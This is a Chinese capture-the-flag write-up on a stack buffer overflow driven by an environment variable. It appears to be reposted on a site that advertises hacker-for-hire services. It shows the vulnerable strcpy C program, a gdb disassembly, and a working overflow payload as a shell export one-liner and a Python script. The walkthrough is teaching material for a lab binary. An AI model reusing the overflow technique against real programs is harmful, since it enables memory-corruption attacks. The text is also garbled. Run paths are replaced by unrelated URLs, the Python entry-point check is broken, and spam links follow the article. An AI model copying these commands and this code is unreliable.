当前位置:首页 > 黑客服务 > 正文内容

CTF PWN练习之环境变量继承

访客4年前 (2021-04-09)黑客服务922

今天的实验和上次学习的精确覆盖变量数据有关,CTF PWN练习中的环境变量继承。这个题目有联系到环境变量参数,我们需要知道在Linux/Windows操作系统中, 每个进程都有其各自的环境变量设置。缺省情况下, 当一个进程被创建时,除了创建过程中的明确更改外,它继承了其父进程的绝大部分环境变量信息。

C语言main函数可以传递三个参数,除了argc和argv参数外,还能接受一个char**类型的envp参数。envp指向一个字符串数组,该数组存储了当前进程具体的环境变量的内容,envp的最后一个元素指向NULL,此为envp结束的标识符。

实验介绍开始

打印环境变量参数信息的示例代码(位于/home/test/3目录下的env.c):

#include <stdio.h>

int main(int argc, char** argv, char** envp)

{

int i=0;

while (envp[i])

{

printf("envp[%2d]=%s ", i, envp[i]);

i +=1;

}

return 0;

}

编译这段代码生成env程序,然后在命令行下执行,可以看到程序打印出了具体的环境变量参数信息:

环境变量的格式为:环境变量名=环境变量值

当父进程启动一个子进程时,子进程会继承父进程的换了变量信息。在Linux Shell下,通过export可以给Shell添加一个环境变量,此后通过Shell启动的子进程都会拥有这个环境变量。

在Shell中执行export testenv="Hello_World"之后,再执行https://www.freebuf.com/articles/network/env,可以看到新的环境变量已经被子进程继承了。

除了通过export添加环境变量以外,我们还可以通过函数getenv、putenv、setenv等对环境变量进行操作。

看完基础知识之后,我们开始来做题,本文实验题目:《pwn练习之环境变量》。

同样的先看题目描述 主机/home/test/3目录下有一个pwn3程序,这个程序会对进程中名为HEETIAN的环境变量的值进行处理,通过构造特定的环境变量参数数据可以对程序发起溢出攻击,成功会提示Congratulations, you pwned it.,失败则会提示Please try again.的提示信息。注意:如果没有设置HEETIAN这个环境变量,那么运行程序后将输出Please set the HEETIAN environment variable,之后程序自动退出。

请对pwn3程序进行逆向分析和调试,找到程序内部的漏洞,并构造特殊的环境变量参数数据,使之输出成功的提示信息。

题目的考点就是需要我们构造特定的环境变量参数来对程序进行溢出攻击,但是我们溢出也是有条件的,分析一下。

先来看源码,使用cd /home/test/3切换到程序所在目录,执行cat pwn3.c即可看到源代码:

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

int main**(int argc,** char****** argv**)**

{

int modified;

char buffer[64];

char* variable;

variable=getenv("HEETIAN"); // 获取环境变量HEETIAN的值

if (variable==NULL)

{

printf("Please set the HEETIAN environment variable ");

exit(1);

}

modified=0;

strcpy(buffer, variable); // 调用strcpy进行字符串复制,可引发缓冲区溢出

if (modified==0x0d0a0d0a) // 判断modified的值是否为0x0d0a0d0a

{

printf("Congratulations, you pwned it. ");

}

else

{

printf("Please try again, you got 0x%08X ", modified);

}

return 0;

}

程序首先通过getenv函数获取名为HEETIAN的环境变量参数,然后使用strcpy函数将其值复制到buffer缓冲区中,我们知道这样可以引发缓冲区溢出。

这里当设置超长的环境变量参数数据时,将会产生缓冲区溢出,数据覆盖buffer后会继续覆盖modified变量。

这只是c语言代码,我们就需要用gdb来进行调试来判断溢出的长度。执行gdb pwn3即可开始通过gdb对pwn3进行调试,现在我们需要阅读main函数的汇编代码,在gdb中执行disas main命令即可,下面是对main函数中的汇编代码的解释(无关代码已经省略):

(gdb) disas main

Dump of assembler code for function main:

......

0x0804848d <+9>: movl $0x80485d4,(%esp)

; 调用getenv获取环境变量HEETIAN的值

0x08048494 <+16>: call 0x8048364 getenv@plt

; 将结果保存到variable变量,即[esp+0x5c]

0x08048499 <+21>: mov %eax,0x5c(%esp)

; 判断返回结果是否为NULL

0x0804849d <+25>: cmpl $0x0,0x5c(%esp)

0x080484a2 <+30>: jne 0x80484bc <main+56>

......

; 初始化modified变量的值为0,位于[esp+0x58]

0x080484bc <+56>: movl $0x0,0x58(%esp)

; 调用strcpy对buffer进行填充,位于[esp+0x18]

0x080484c4 <+64>: mov 0x5c(%esp),%eax

0x080484c8 <+68>: mov %eax,0x4(%esp)

0x080484cc <+72>: lea 0x18(%esp),%eax

0x080484d0 <+76>: mov %eax,(%esp)

0x080484d3 <+79>: call 0x8048384 strcpy@plt

; 判断modified变量的值是否为0x0d0a0d0a

0x080484d8 <+84>: cmpl $0xd0a0d0a,0x58(%esp)

......

End of assembler dump.

通过对上面的汇编代码进行分析,我们知道buffer位于esp+0x18处,而modified位于esp+0x58处,两个地址的距离为0x58 - 0x18=0x40,即64,刚好为buffer数组的大小。因此当环境变量HEETIAN的值的数据超过64字节时,modified变量就可以被覆盖,但需要控制modified变量的值还需要小心的构造数据。我们只要合理控制环境变量参数的第65~68字节的内容,就可以成功发起溢出攻击了。

我们输入64个a加上'\x0a\x0d\x0a\x0d'就可以了吗?

当然不是,之前说到了环境变量,需要构造环境变量然后再来输入。

因为目标机器采用小端格式存储数据,而if语句分支要求modified的值为0x0d0a0d0a时才通过判断,因此我们构造的数据应该为\x0a\x0d\x0a\x0d。

要是感觉连续输入64个a比较麻烦,这里有两种更简便的办法1.通过export修改环境变量前面已经介绍过通过export可以修改环境变量,执行下面的语句:

export HEETIAN=$(python -c "print 'A'*64+'\x0a\x0d\x0a\x0d'")然后运行https://www.freebuf.com/articles/network/pwn3就可以看到攻击效果了,如图所示:

接下来,我们来看通过python脚本动态修改环境变量。

在/home/test/3下存在一个pwn3.py的python脚本,执行cat pwn3.py可以看到源码:

import os

def pwn():

os.putenv("HEETIAN", "A"*64+"\x0a\x0d\x0a\x0d")

os.system("https://www.freebuf.com/articles/network/pwn3")

if name=="main":

pwn()

为了排除前面的环境变量的干扰,我们先修改HEETIAN的的值为AAA,然后再执行python脚本,可以看到攻击效果,如图所示:

pwn3.py先修改HEETIAN环境变量的值,然后通过system启动pwn3程序。

扫描二维码推送至手机访问。

版权声明:本文由黑客接单发布,如需转载请注明出处。

本文链接:https://therlest.com/106084.html

分享给朋友:

“CTF PWN练习之环境变量继承” 的相关文章

贾秀东个人资料简介(简历及图片)

贾秀东人物概况 本页面提供了贾秀东个人资料简介(简历及图片),贾秀东是谁?贾秀东个人简介资料完整设计了网页求职找工作编辑个人简历作品所需要的贾秀东网站常用模板元素,不保证贾秀东人物数据真实,任何问题请联系管理员调整。 贾秀东图片 贾秀东个人资料简介 贾秀东,中国国际问题研究所特聘研究员。1...

吃鸡鸭的屁股会有病吗?我非常爱吃鸡鸭的屁股,但经常吃会有病吗?另

吃鸡鸭的屁股会有病吗?我非常爱吃鸡鸭的屁股,但经常吃会有病吗?另 鸡鸭的肛门附近组织,布满大大小小的腺体,各类秽物与毒素都在这些腺体囤积;鸡鸭的肛门也有非常高密度的大肠杆菌,所以鸡鸭的屁股不是少吃的问题,而是不能吃.吃得少可能没觉出怎样,多了问题就显出来了.而且鸡鸭屁股的大肠杆菌会随着蛋生出来的时...

小麦价格的走势图 「2019小麦价格最新行情走势」

小麦价格走势行情分析,近期11月20日小麦价格走势,显示今年我国小麦产量略有增加。 5月,尽管近期北京市场面粉价格略有上升.2008年小麦最低收购价格水平,今年国家统计是增产,市场粮源供应格局偏紧/10年度芝加哥期货交易所,粮食企业手中 去那儿看看http。 河南小麦价格2010年12月21日走势参...

铁盖子可以放入高压锅蒸吗?装酱料的铁盖子,外面的涂层有些剥落,好

铁盖子可以放入高压锅蒸吗?装酱料的铁盖子,外面的涂层有些剥落,好 铁盖子可以放入高压锅蒸吗? 装酱料的铁盖子,外面的涂层有些剥落,好象也没锈,可以拿它盖严瓶子入高压锅蒸吗? 绝对不行!既危险又不卫生。盖住的瓶子在高压锅中加热,很容易形成压力差而爆炸;铁在高压锅中的水蒸汽作用下极易变成四氧化三...

纳智捷s5多少钱_纳智捷s5怎么样口碑

纳智捷如果销量再上不去可能就会退市了。维护保养不方便。虽然走的是高配低价路线但是油耗高,此情况发生了两次后来到4s店也没给,纳5这款车做工和质量.不仅损伤车子还非常的刺激心脏,你好,到二手市场问问对这款车的评价,内饰做工好一些。 不要急于出手,售后方面是不是真的很差?真诚希望各.发动机动力弱,比纯国...

西安电脑黑客接单_怎么能找入侵蚊香社的黑客

sudo apt install g++-4.4SplashData剖析的这500万被走漏的暗码主要是北美和西欧的用户,成人网站走漏的暗码不包含在剖析陈述中。 支撑(V4增强)所谓0day缝隙的在野运用,一般是进犯活动被捕获时,发现其运用了某些0day缝隙(进犯活动与进犯样本剖析自身也是0day缝隙...

评论列表

野欢羁拥
2年前 (2022-07-06)

还需要小心的构造数据。我们只要合理控制环境变量参数的第65~68字节的内容,就可以成功发起溢出攻击了。我们输入64个a加上'\x0a\x0d\x0a\x0d'就可以了

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。